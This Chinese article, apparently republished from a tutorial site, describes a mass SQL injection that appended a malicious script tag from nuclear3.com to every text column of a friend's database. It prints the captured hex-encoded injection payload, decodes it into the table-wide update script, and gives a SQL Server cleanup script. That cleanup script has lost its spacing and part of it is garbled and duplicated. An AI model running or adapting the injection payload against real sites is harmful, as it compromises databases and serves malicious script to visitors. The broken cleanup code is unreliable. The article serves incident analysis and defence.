这几天朋友的网站天天被搞破坏的人恶意注入，也许是程序没写好的原因，数据库每个字段加了一段script（Script Src=http://%63%2Enuclear3.com/css/c.js/Script，而这个script地址时不时的有变化）。用一些搜索引擎搜索下：/css/c.js/Script，发现好多网站居然都有这个问题。通过iis日志捕捉到注入的原型是以下形式：
;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt
(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C004000
4300200056006100720063006800610072002800320035003500290020004400650063006C00610072006500200054006100620
06C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063
007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F006
2006A006500630074007300200041002C0053007900730063006F006C0075006D006E0073002000420020005700680065007200
6500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D002700750
02700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E005800740079
00700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002
E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F00430075007200
73006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C00650
05F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040
004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E002000450078006
50063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B002700
2B00400043002B0027005D003D0052007400720069006D00280043006F006E00760065007200740028005600610072006300680
0610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C005300630072
0069007000740020005300720063003D0068007400740070003A002F002F0063002E006E00750063006C0065006100720033002
E0063002500360046002500360044002F006300730073002F0063002E006A0073003E003C002F00530063007200690070007400
3E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0
065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C
006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007
400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);--
上面cast里面sql语句解密如下：
（本文来源于图老师网站，更多请访问https://m.tulaoshi.com/webkaifa/）Declare@TVarchar(255),@CVarchar(255)
DeclareTable_CursorCursorForSelectA.Name,B.NameFromSysobjectsA,SyscolumnsBWhereA.Id=B.IdAnd
A.Xtype='u'And(B.Xtype=99OrB.Xtype=35OrB.Xtype=231OrB.Xtype=167)
OpenTable_CursorFetchNextFrom Table_CursorInto@T,@CWhile(@@Fetch_Status=0)
Begin
Exec('update['+@T+']Set['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''Script
Src=http://%63%2Enuclear3.com/css/c.js/Script''')FetchNextFrom Table_CursorInto@T,@C
End
CloseTable_Cursor
DeallocateTable_Cursor
总结：
还是程序没写好的原因，会导致注入，希望今后写程序能注意这个问题，不过想想用dotnet那种参数化取值，注入的可能性应该为零了。
因为这个朋友最怕数据丢失，希望恢复数据，于是我就帮他写了一个清理字段的sql脚本(只适合sqlserver)。呵，也希望给那被注入的网站的清理提供方便。代码如下：
（本文来源于图老师网站，更多请访问https://m.tulaoshi.com/webkaifa/） declare@nameasnvarchar(128),@columnNameasnvarchar(128),@columnTypeasnvarchar(128),@injectSqlasnvarchar(111)
set@injectSql='ScriptSrc=http://%63%2Enuclear3.com/css/c.js/Script'
DECLAREcurLabelCURSORFORselectnamefromsysobjectswherextype='U'
OPENcurLabel
FETCHNEXTFROMcurLabelINTO@name
WHILE@@FETCH_STATUS=0
BEGIN
DECLAREcurLabel1CURSORFORSELECTColumn_name,data_typeFROMINFORMATION_SCHEMA.COLUMNSWHERE(TABLE_NAME=@name)
OPENcurLabel1
FETCHNEXTFROMcurLabel1INTO@columnName,@columnType
WHILE@@FETCH_STATUS=0
BEGIN
if((@columnType='text'or@columnType='ntext'))
--print1
BEGINTRY
declare@primaryKeynvarchar(255);
SELECT@primaryKey=primaryKeyfrom
(select
c.nameasprimaryKey,
casewhenc.colidin(selectik.colid
fromsysindexesi,Sysindexkeysik,sysobjectsoo
wherei.id=ik.idandi.indid=ik.indid
andi.name=oo.nameandoo.xtype='PK'--主键
ando.id=i.id
)then1else0endisPrimaryKey
fromsysobjectsoinnerjoinsyscolumnscono.id=c.id
whereo.xtype='U'
ando.name=@name)astwhereisPrimaryKey=1
exec(0begin;set@Position=@Position-1;updatetext'+@name+'.'+@columnName+'Position@len'''';select@Position=patindex(''%'+@injectSql+'%'','+@columnName+')from'+@name+'where'+@primaryKey+'=@id;end;FETCHNEXTFROMcurTextINTO@ptr,@id;END;CLOSEcurText;DEALLOCATEcurText'">'declare@ptrvarbinary(16);declare@idnvarchar(16);declarecurTextscrollCursorforselecttextptr('+@columnName+'),'+@primaryKey+'from'+@name+';declare@Positionint,@lenint;OPENcurText;FETCHNEXTFROMcurTextINTO@ptr,@id;WHILE@@FETCH_STATUS=0BEGIN;select@Position=patindex(''%'+@injectSql+'%'','+@columnName+')from'+@name+'where'+@primaryKey+'=@id;while@Position0begin;set@Position=@Position-1;updatetext'+@name+'.'+@columnName+'Position@len'''';select@Position=patindex(''%'+@injectSql+'%'','+@columnName+')from'+@name+'where'+@primaryKey+'=@id;end;FETCHNEXTFROMcurTextINTO@ptr,@id;END;CLOSEcurText;DEALLOCATEcurText')
ENDTRY
BEGINCATCH
print(@name+'.'+@columnName)
ENDCATCH;
else
if(@columnType='nvarchar'or@columnType='varchar')
exec('update'+@name+'set'+@columnName+'=replace('+@columnName+','''+@injectSql+''','''')')
FETCHNEXTFROMcurLabel1INTO@columnName,@columnType
END
CLOSEcurLabel1
DEALLOCATEcurLabel1
FETCHNEXTFROMcurLabelINTO@name
END
CLOSEcurLabel
DEALLOCATEcurLabel
